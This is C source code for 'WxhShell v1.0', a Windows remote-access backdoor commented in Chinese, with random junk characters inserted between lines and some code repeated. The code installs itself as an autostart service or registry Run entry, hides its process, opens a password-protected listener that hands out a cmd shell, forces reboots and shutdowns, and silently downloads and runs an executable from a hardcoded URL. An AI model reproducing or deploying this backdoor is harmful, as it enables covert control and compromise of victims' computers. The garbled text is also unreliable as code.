HANDLE hProcess; qiKtR PROCESS_BASIC_INFORMATION pbi; ?9r,Y;,H ETWmeMN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #PLB$$ if(NULL == hInst ) return 0; a4a[pX,5 a@=36gx) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : {N3o: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DHumBnQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CTbhwY(/ Tk#&Ux{ZJ if (!NtQueryInformationProcess) return 0; w6In{uO-Z d$pf[DJQo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K<7T}XzU$ if(!hProcess) return 0; ]BQWA Lc: SqF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p:Ld)U * q(ET)xCeD CloseHandle(hProcess); pffw5Tc ZLio8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MoR-8vnJ if(hProcess==NULL) return 0; b} U&bFl 9Or4`JOO HMODULE hMod; GwpBDMk char procName[255]; g d}TTe
unsigned long cbNeeded; |8U7C\S[ teS0F if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h, 6S$,UI .'2gJ"?, CloseHandle(hProcess); dR, NC-* ZNC?Ntw if(strstr(procName,"services")) return 1; // 以服务启动 e}O -I NF\^'W@N return 0; // 注册表启动 UE`4$^qs } M>H^<N}'A 0)Xue9AS // 主模块 cLko int StartWxhshell(LPSTR lpCmdLine) 'SD|ObBY { D%Jc?6/I#3 SOCKET wsl; -MW(={# BOOL val=TRUE; Y./}zCT int port=0; RdVis|7o struct sockaddr_in door; yb.|7U?/x <QW1fE if(wscfg.ws_autoins) Install(); :8|3V~%m *Qwhi&k port=atoi(lpCmdLine); 79B`w
# |`;1p@w" if(port<=0) port=wscfg.ws_port; ^sn>p}Tg "`gZy)E WSADATA data; *0@;
kD=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i~s9Ot Hkz~9p if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $HCAC4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BaTOh'52 door.sin_family = AF_INET; `::'UfHc door.sin_addr.s_addr = inet_addr("127.0.0.1"); YM.IRj2/1 door.sin_port = htons(port); /R$x-7t)^( sS2E8Z2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7(USp#" closesocket(wsl); d8
Nh0! return 1; O+Lb***b" } I;.E}k )qP{X,Uf if(listen(wsl,2) == INVALID_SOCKET) { :!YJ3:\ closesocket(wsl); I)%jPH:ua return 1; YGpp:8pen } x7kg_`\U Wxhshell(wsl); Jq<`j<'9 WSACleanup(); u.4vp]eU `k%#0E*H return 0;
kt0{-\
p L.%~?T[F } ~+iJpW PEn^.v@ // 以NT服务方式启动 R^kv!x;h VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {)gd|JV* { l3#dfW{ DWORD status = 0; Y^m=_*1g5 DWORD specificError = 0xfffffff; Qg$Nj=Cw yy.:0:ema serviceStatus.dwServiceType = SERVICE_WIN32; U\ E{-7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >A( C9_\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C2|2XL'l(C serviceStatus.dwWin32ExitCode = 0; Xg3[v3m| serviceStatus.dwServiceSpecificExitCode = 0; $AhX@|?z serviceStatus.dwCheckPoint = 0; 4m(>" dHP serviceStatus.dwWaitHint = 0; -R
\@W q@ k3.p@8@: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T9<nD"=: if (hServiceStatusHandle==0) return; Zy3&Zt gN'i+mQcu status = GetLastError(); m7eIhmP if (status!=NO_ERROR) $D\l%y/C { x, G6`|Hl serviceStatus.dwCurrentState = SERVICE_STOPPED; $$f$$ serviceStatus.dwCheckPoint = 0; (U(x[Df) serviceStatus.dwWaitHint = 0; GJ_)Cl+5E serviceStatus.dwWin32ExitCode = status; n)!_HNc9 serviceStatus.dwServiceSpecificExitCode = specificError; ;fME4Sp SetServiceStatus(hServiceStatusHandle, &serviceStatus); GE+csnA2 return; K0H!Ds9 } +Qvgpx > f>/ 1KV serviceStatus.dwCurrentState = SERVICE_RUNNING; Jl4XE%0 serviceStatus.dwCheckPoint = 0; q/-j`'A_pb serviceStatus.dwWaitHint = 0; "g1;TT:1~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +F&]BZ } +ENW=N (KImqB$i. // 处理NT服务事件,比如:启动、停止 CvWEXY_P2 VOID WINAPI NTServiceHandler(DWORD fdwControl) ?q }wl\"8 { 3Wxtxk._E switch(fdwControl) :bDn.`KG# { {^MAdC_ case SERVICE_CONTROL_STOP: xKzFrP;/{ serviceStatus.dwWin32ExitCode = 0; (NN14 serviceStatus.dwCurrentState = SERVICE_STOPPED; GZVl384@ serviceStatus.dwCheckPoint = 0; Vzm+Ew
_ serviceStatus.dwWaitHint = 0; h`rjD d { KrG6z#)Uz SetServiceStatus(hServiceStatusHandle, &serviceStatus); |5B9tjJ" } at]Q4 return; H[k3)r2 case SERVICE_CONTROL_PAUSE: na:^7:I serviceStatus.dwCurrentState = SERVICE_PAUSED; gH)B`
@ break; $uB(@Ft. case SERVICE_CONTROL_CONTINUE: CyDf[C)= serviceStatus.dwCurrentState = SERVICE_RUNNING; lfeWtzOf break; [E1|jcmQ case SERVICE_CONTROL_INTERROGATE: o"M^sKz47 break; :I(gz~u6 }; )nxIxr0d- SetServiceStatus(hServiceStatusHandle, &serviceStatus); n<&R"89 } &+^ Y>Ke <qY>d,+E' // 标准应用程序主函数 EXzNehO~e int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [IA==B7 { lA
0_I"b2Y L([ >yQZ // 获取操作系统版本 7]zZha4X OsIsNt=GetOsVer(); V46[whL%r GetModuleFileName(NULL,ExeFile,MAX_PATH); &7u
Ra1/R #h|< > // 从命令行安装 \9zC?Cw if(strpbrk(lpCmdLine,"iI")) Install(); yP]W\W' R3 `W#` // 下载执行文件 x#mk[SV if(wscfg.ws_downexe) { iPpJ`i#@+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _cN)q WinExec(wscfg.ws_filenam,SW_HIDE); (kOv } yS3s5C{C v 8a if(!OsIsNt) { y'/9KrV
T // 如果时win9x,隐藏进程并且设置为注册表启动 CoXL;\ HideProc(); L%Q *\d StartWxhshell(lpCmdLine); 08jQq# } 1A.\Ao else B4Oa7$M/U if(StartFromService()) o?+e_n= // 以服务方式启动 &\[J StartServiceCtrlDispatcher(DispatchTable); .]c:Zt}P else Utp\}0GZY // 普通方式启动 YKd?)$J StartWxhshell(lpCmdLine); P32'`!/: Y
@&nW return 0; wVtBeZa } $Ws2g*i Y2&6xTh x:lf=DlA l= S_#
=========================================== ]+9:i!s U5
"v1"Ec !Sh5o'D28 0N_Da N H/{3
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\Da$bJ #include <stdio.h> L-dKZ8Q #include <string.h> I!'(>VlP7 #include <windows.h> tRCd(Z,WY #include <winsock2.h> 3l[hkRFu` #include <winsvc.h> IxR:a( #include <urlmon.h> x%&V!L GefgOlg5" #pragma comment (lib, "Ws2_32.lib") vdzC2T #pragma comment (lib, "urlmon.lib") T/5UlW|\ U6PUt'Kk@ #define MAX_USER 100 // 最大客户端连接数 '|R|7nQAj #define BUF_SOCK 200 // sock buffer a9Rh #define KEY_BUFF 255 // 输入 buffer M!'tD!NWc 6d8 #define REBOOT 0 // 重启 ,Z"sh* #define SHUTDOWN 1 // 关机 !/j|\_O O0RQ}~$'m #define DEF_PORT 5000 // 监听端口 ep|u_|sB/r 6j#5Ag: #define REG_LEN 16 // 注册表键长度 -+/| #define SVC_LEN 80 // NT服务名长度 g'E^@1{ PeaD] // 从dll定义API 4R6 .GO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rD?o97 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B4=gMVp1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IRB;Q(Z
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u Rg^: _`58G#z // wxhshell配置信息 a3[aXe struct WSCFG { UqbE int ws_port; // 监听端口 X3vrD{uNU char ws_passstr[REG_LEN]; // 口令 lom4z\6 int ws_autoins; // 安装标记, 1=yes 0=no (ol 3vt char ws_regname[REG_LEN]; // 注册表键名 ~8K~@e $./ char ws_svcname[REG_LEN]; // 服务名 |kD?^Nx char ws_svcdisp[SVC_LEN]; // 服务显示名 ?jnEHn char ws_svcdesc[SVC_LEN]; // 服务描述信息
SZEr
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r@aFB@ int ws_downexe; // 下载执行标记, 1=yes 0=no e2v,#3Q\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O.!?O( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w *0T"hK 1Mqz+@~11 }; fpUX
@b ;x"B ):?\ // default Wxhshell configuration klKt^h- struct WSCFG wscfg={DEF_PORT, Bvwk6NBN "xuhuanlingzhe", oc.x1<Nd 1, JdnZY.{S0 "Wxhshell", ^`$KN0PY "Wxhshell", +%^D) "WxhShell Service", .u)YZN0\ "Wrsky Windows CmdShell Service", 3 D3K:K!FK "Please Input Your Password: ", ~ lS3+H 1, <W1!n$V ] "http://www.wrsky.com/wxhshell.exe", _IGQ<U <z "Wxhshell.exe" ^H>vJT }; 6K&V} ~![R\gps // 消息定义模块 &' Ch[Wo]H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zuOIos
char *msg_ws_prompt="\n\r? for help\n\r#>"; >13= 4S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ITTC} char *msg_ws_ext="\n\rExit."; 8K$:9+OY char *msg_ws_end="\n\rQuit."; /lUb9&yV char *msg_ws_boot="\n\rReboot..."; p 7sYgz char *msg_ws_poff="\n\rShutdown..."; Q8O38uZ char *msg_ws_down="\n\rSave to "; /bVI'fT <[*s%9)'9 char *msg_ws_err="\n\rErr!"; kZ2+=/DYN char *msg_ws_ok="\n\rOK!"; nt4> 9; r$+9grm< char ExeFile[MAX_PATH]; IV\@GM:ait int nUser = 0; OLv( HANDLE handles[MAX_USER]; "C>KKs } int OsIsNt; 'tOo0Zgc _A(J^;? SERVICE_STATUS serviceStatus; om(#P5cSM; SERVICE_STATUS_HANDLE hServiceStatusHandle; \K?3LtJ PR Y)hb;1 // 函数声明 g{&ux k); int Install(void); sI`Lsd'V int Uninstall(void); h><;TAp int DownloadFile(char *sURL, SOCKET wsh); >:s:`Au int Boot(int flag); qsJo)SA void HideProc(void); 0 {w?u %'
int GetOsVer(void); z\v\T|C int Wxhshell(SOCKET wsl); ~;{)S}U@R void TalkWithClient(void *cs); LJT+tb?K int CmdShell(SOCKET sock); S\Q/ "Y int StartFromService(void); [z?q-$# int StartWxhshell(LPSTR lpCmdLine); XI
pXP,Yy f9!wO';P6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )@Ly{cw VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2;A].5>l -O{Af // 数据结构和表定义 x3]es"4Q SERVICE_TABLE_ENTRY DispatchTable[] = %c[by { CfAX,f"ZP
{wscfg.ws_svcname, NTServiceMain}, 2 3 P7~S {NULL, NULL} 4e9mN~ }; v50=D/&w 9Y~A2C // 自我安装 s fazrz`h int Install(void) m7fmQUk { MOdodyG char svExeFile[MAX_PATH]; Ig]Gg/1G HKEY key; eEXer>Rm
strcpy(svExeFile,ExeFile); Qu!Lc:oM? 0IxXhu6v // 如果是win9x系统,修改注册表设为自启动 u3Ua>A- if(!OsIsNt) { oC"c%e8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {p+7QlgK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CpO!xj+ RegCloseKey(key); GKSfr8US4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N^B
YNqr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m8fxDepFA RegCloseKey(key); AW1691Q return 0; Zn|vT&:Hg } #"=_GA^.{ } ZEp UHdin } B<x)^[ <v else { pX+ `qxF\ YeK PoW // 如果是NT以上系统,安装为系统服务 #O*
ytZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '3
5w( if (schSCManager!=0) S8^W)XgC; { Q
>] v?4 SC_HANDLE schService = CreateService Q3*@m ( Tt<Ry'Z$3 schSCManager, }>>lgW>n,; wscfg.ws_svcname, x/ lW=EQ wscfg.ws_svcdisp, aHvTbpJ SERVICE_ALL_ACCESS, ggIz)</ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VD#`1g< SERVICE_AUTO_START, %s6|w=.1 SERVICE_ERROR_NORMAL, FE,&_J" svExeFile, Tj$D:xKf) NULL, a39Kl_\ NULL, .n'z\]-/Q NULL, J.N%=-8 NULL, :$lx] NULL % V/J6 ); T1.`*,t)= if (schService!=0) :)_Ap{9J { Yh\}
i CloseServiceHandle(schService); LS}dt?78`V CloseServiceHandle(schSCManager); #p_3j 0S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OQIQ strcat(svExeFile,wscfg.ws_svcname); l_Mi'}j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yS%IE>? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5B)Z@-x2 RegCloseKey(key); <05\ return 0; WLqwntzk } ),1MR= } C(qqGK{ CloseServiceHandle(schSCManager);
qc;9{$?xV } 481J=8H } 1A^~gYr A8Tq2]"* S return 1; of!Bz } wyvrNru<l4 yu"enA // 自我卸载 Uax[Zh[Cg int Uninstall(void) 1$vsw { 8T6.Zhv HKEY key; 9&a&O
Z{ ,R_ KLd if(!OsIsNt) { xrd@GTaI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]"Z*Hq
z RegDeleteValue(key,wscfg.ws_regname); JFf*v6:, RegCloseKey(key); hDTiXc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R1 u1 RegDeleteValue(key,wscfg.ws_regname); %QH "x`; RegCloseKey(key); f.SV-{O_ return 0; OCIWQ/
P } %5.aC|^} } "5Orj*{ } ~7a(KJgvd" else { xLhN3#^m "e4;xU- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H=b54.J8& if (schSCManager!=0) xrb %-vT { Hg$t,\j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [gI;;GW if (schService!=0) owHV&(Go(B { ,Yx"3i, if(DeleteService(schService)!=0) { M| r6"~i CloseServiceHandle(schService); baJ(Iy$XT CloseServiceHandle(schSCManager); 49.
@Uzo return 0; 5MUM{(C } XwWp4`Fd CloseServiceHandle(schService); g%z'#E97 } ]*b}^PQM^ CloseServiceHandle(schSCManager); =d07c } W+N9~.q\^ } C/AqAW1
<k'JhMwN return 1; 8/ lv, m# } .
!gkJ
i=67 // 从指定url下载文件 mY[s2t int DownloadFile(char *sURL, SOCKET wsh) [>+}2-# { #m 2Ss HRESULT hr; s%Ez/or(T char seps[]= "/"; kT|{5Kn&s char *token; Z#H] yG char *file; -) char myURL[MAX_PATH]; Lbb{ z char myFILE[MAX_PATH]; llG^ +*Y8t eteq Mg}M strcpy(myURL,sURL); UG)J4ZX token=strtok(myURL,seps); qm30,$\c`~ while(token!=NULL) 5:[<pY!s# { fa#xEWaFr file=token; H"v3?g`S% token=strtok(NULL,seps); r0
%WGMk2 } 3a#X:? hCXSC*; GetCurrentDirectory(MAX_PATH,myFILE); k&Z3v. strcat(myFILE, "\\"); jET$wKw% strcat(myFILE, file); 2Eq?^ )s send(wsh,myFILE,strlen(myFILE),0); Bl,rvk2 send(wsh,"...",3,0); \)H} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SCbN(OBN! if(hr==S_OK) -mD<8v[F return 0; B^4D`0G[4 else M7D@Uj&xx( return 1; {P'TtlEp G01 J1Ll} } bcgh}D 6k?,'&z|~ // 系统电源模块 %EC{O@EAk int Boot(int flag) KIt:ytFx { 7D5;lM[_ HANDLE hToken; H)XHlO^ TOKEN_PRIVILEGES tkp; Koh`|]N %;5AF8# c if(OsIsNt) { :]?y,e%xu, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (e>.hfrs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wSrq?U5q tkp.PrivilegeCount = 1; S<RJ46 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X^L)5n+$X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " oWiQ{\IP if(flag==REBOOT) { [8Zq
1tU;G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1PwqWg-\\ return 0; JE~ci#|! } `Qzga}`"] else { ^:JZ.r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PFP/Pe Ng; return 0; FScE3~R } \Qa6mt2h } L,I5/K6 else { SoS GQ&k if(flag==REBOOT) { yHvF"4] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =M]f7lJ return 0; .(!> *ka| } JaC
=\\B else { < 8yv( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )"j)9RQ} return 0; G]q1_q4P1? } 9v7l@2/ } &_Py{Cv@Dw 'B;aXy/JC return 1; CTu#KJ?j } z6B(}(D 2i+'?.P // win9x进程隐藏模块 e=b>:n void HideProc(void) ?y( D_Nt L { 5B+>28G% R(dVE\u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 11Kbj`sRZ if ( hKernel != NULL ) !f~ =p { _*b1]< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FI,>v` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3JuWG\r)l FreeLibrary(hKernel); Ax[!7~s } TV$Pl[m d/>owCwQ return; |%JJ
S^) } #*^vd{fl }kg?A oo // 获取操作系统版本 'I|A*rO int GetOsVer(void) z@E-pYV { !;'.mMO&% OSVERSIONINFO winfo; ,fS}cpV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }]w/`TF GetVersionEx(&winfo); K-Bf=7F, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v,t&t9}/ return 1; Z5aU7 else w3lR8R] return 0; D3#/*Ky } e(/~;"r{ [jl'5l d // 客户端句柄模块 ` aTkIo:ms int Wxhshell(SOCKET wsl) ZM oV!lu { @=o1q=5@8 SOCKET wsh; wT?.Mte struct sockaddr_in client; @fR^":.h DWORD myID; /H+br_D9 @DgJxY| while(nUser<MAX_USER) T:+%3+;a { ra\Moy int nSize=sizeof(client); y=y=W5#;77 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~@ZdO+n? if(wsh==INVALID_SOCKET) return 1; [9f
TN2'z 3nt&Sf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2XJn3wPi if(handles[nUser]==0) SX)giQLU closesocket(wsh); l,Un7]* else XWvT(+J nUser++; KE\p|X i } ?c)PBJ+] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ "[1yQ<p 0'!v-`. return 0; *z4n2"<l } O/\ L0\T zHi+I7 // 关闭 socket `6V-a_8;[ void CloseIt(SOCKET wsh) )e.Y"5My { $ wGDk closesocket(wsh); 65bLkR{0
nUser--; 9"_JiX~3 ExitThread(0); I}/o`oc } lcgT9m# 8cn)ox|J[ // 客户端请求句柄 7kU:91zR void TalkWithClient(void *cs) Pxu!,Mi[d { [^r0red Q\G8R^9j p SOCKET wsh=(SOCKET)cs; xB{0lI char pwd[SVC_LEN]; .#R\t 7m% char cmd[KEY_BUFF]; a,o)i8G9R< char chr[1]; 5VIpA int i,j; A+%oE .{D[!Dp#h while (nUser < MAX_USER) { bHcb+TR3 mfOr+ if(wscfg.ws_passstr) { Q&:%U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X}'3N'cbkU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #.p^S0\pw //ZeroMemory(pwd,KEY_BUFF); $Tu%dE(OF i=0; v'* while(i<SVC_LEN) { ,c"_X8Fkx$ k$kq| // 设置超时 {snLiCl fd_set FdRead; N'R^S98x struct timeval TimeOut;
!\Jj}iX3_ FD_ZERO(&FdRead); ,p\^n`A32 FD_SET(wsh,&FdRead); vC~];!^ TimeOut.tv_sec=8; pH.wCD:1n TimeOut.tv_usec=0; c38RE,4U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5sC{5LJzC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rb%P30qc4 `),7*gn*) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fV*x2g7w pwd=chr[0]; 9F)v= if(chr[0]==0xd || chr[0]==0xa) { \1D~4Gz6} pwd=0; +<6L>ZAL break; g[Ah>
5 } aB<~T[H%h i++; I9N?zmH } UK+;/Mtg =IV_yor // 如果是非法用户,关闭 socket qC?J`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;k^wn)JE$ } [P8Y c#nFm&}dm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #T
Cz$_=t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {g\Yy(r
w=d#y
)1 while(1) { mbv\Gn#> w/KHS#~ ZeroMemory(cmd,KEY_BUFF); R'qB-v. ,e( |,u // 自动支持客户端 telnet标准 r&)/3^S ' j=0; 3 1KMn while(j<KEY_BUFF) { !uLAW_~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7^'TU=ss_ cmd[j]=chr[0]; -[i9a:eRM if(chr[0]==0xa || chr[0]==0xd) { f 7{E(, cmd[j]=0; kW\=Z1\# break; )5gcLD/zI } [VIdw92 j++; (f5!36mz } pSkP8'
? 85$MHod}[, // 下载文件 <F+S }!q if(strstr(cmd,"http://")) { W=}l=o!G. send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Rohf WHX if(DownloadFile(cmd,wsh)) 4Ub_;EI> send(wsh,msg_ws_err,strlen(msg_ws_err),0); mm/U9hbp% else c.6u)"@$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); En8-Hc#NC } 3ag*dBbs else { cKh { s dr^pzM!N switch(cmd[0]) { w;0NtV| d~C
YZ // 帮助 J6Hw05%0= case '?': { ~/Aw[>_; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jIK*psaV break; 8wwqV{O7 } k6ERGQ9|I // 安装 -q&VV, case 'i': { G^p>fy~ if(Install()) `j(\9j ok send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{bcmo\U else )b"H]" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); );@Dr!H break; @Rj&9/\L } ~IZ'zuc // 卸载 "^ydoRZ case 'r': { 2al%J% if(Uninstall()) -LzHCO/7( send(wsh,msg_ws_err,strlen(msg_ws_err),0); SWUHHl else L-^vlP)Vu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uaNJTob break; ?}m/Q"!1 } cn v4!c0 // 显示 wxhshell 所在路径 _Z.lr\ case 'p': { C&bw1`XJf char svExeFile[MAX_PATH]; ~KDx strcpy(svExeFile,"\n\r"); { r`l strcat(svExeFile,ExeFile); rhMsZ={M send(wsh,svExeFile,strlen(svExeFile),0); t] P[>{y break; ct3QtX0B } Ym(^ih // 重启 m 8rKH\FD} case 'b': { g[@Kd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2JYp.CJv if(Boot(REBOOT)) f*Xonb send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?z3!`m else { Kw3fpNd closesocket(wsh); ^-w:D ExitThread(0); =2s5>Oz+ } R5ZnkPEA break; xAYC%) } m}T^rX%m_ // 关机 Pg-~^"?y case 'd': { 1HskY| X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'v*
=}k if(Boot(SHUTDOWN)) W*QD' send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQx9Vnb else { ve.iyr closesocket(wsh); 8U/q3@EC ExitThread(0); ^*`{W4e] } bEV
9l break; Z 7t 0=U } mAhtC* // 获取shell 7fLLV2 case 's': { mk~i (Ee CmdShell(wsh); J|sX{/WT closesocket(wsh); qo}-m7 ExitThread(0); XrYMv
WT break; xH;qJRHa } r[vMiVb // 退出 X, <l case 'x': { W=j/2c/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @X>k@M CloseIt(wsh); ^b~&}uU break; Kf76./ } LZMdW
#,[ // 离开 3%/]y=rA case 'q': { (?J6vK}S send(wsh,msg_ws_end,strlen(msg_ws_end),0); &0K;Vr~D closesocket(wsh); x1Q}B WSACleanup(); }Y(Q7l exit(1); N6c']!aM@ break; Nv,[E+a2 } $lOx
6rL } f-y4V} } -OB72!sKU tV9W4`Z2q // 提示信息 #]vq
<Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #^gn,^QQ } {:IOTy } GxLoNVr (ivV [ return; 82&JYx } V5i_\A fPiq
// shell模块句柄 GD}3r:wDs int CmdShell(SOCKET sock) i)1E[jc{p! { {p|OKf STARTUPINFO si; ]cc4+}L~ ZeroMemory(&si,sizeof(si)); |b;}'
* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2xZg, \ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t^&:45~Q PROCESS_INFORMATION ProcessInfo; Oo`P +S# char cmdline[]="cmd"; qDqIy+WR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~q?IG5s*Z return 0; 0Tp?ED_ } -3/:Dk`3 _c['_HC // 自身启动模式 }zj w\ int StartFromService(void) r6Lb0PzMf { Ig'Y]%Z0 typedef struct K)]7e?:Wu { S6 $S%$ DWORD ExitStatus; y+(<Is0w DWORD PebBaseAddress; T$06DS DWORD AffinityMask; H:`W\CP7_ DWORD BasePriority; W([)b[-* ULONG UniqueProcessId; 0'TqW9P ULONG InheritedFromUniqueProcessId; +%>s\W+?] } PROCESS_BASIC_INFORMATION; PkLRQ} Sr)/
Mf PROCNTQSIP NtQueryInformationProcess; ::dLOf8o `-D6:- ,w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?#qA>:2, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NO
+j Uey.@ 2Q HANDLE hProcess; UY5ia4_D PROCESS_BASIC_INFORMATION pbi; @@*-> fg8V6FS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6^wg'u]c if(NULL == hInst ) return 0; la8se=^ Vvm6T@b M8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b*nytF g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;J2U5Y NO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gnl6>/L, ,YSQog if (!NtQueryInformationProcess) return 0; 'P)xY-15 lT@5=ou[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @?aNvWeavH if(!hProcess) return 0; x]euNa Eof1sTpA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "]LNw=S kNI m90,g CloseHandle(hProcess); 7t\kof V{HZ/p_Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8q)2)p if(hProcess==NULL) return 0; C@buewk hEl)BRJ HMODULE hMod; B+jT|Y' char 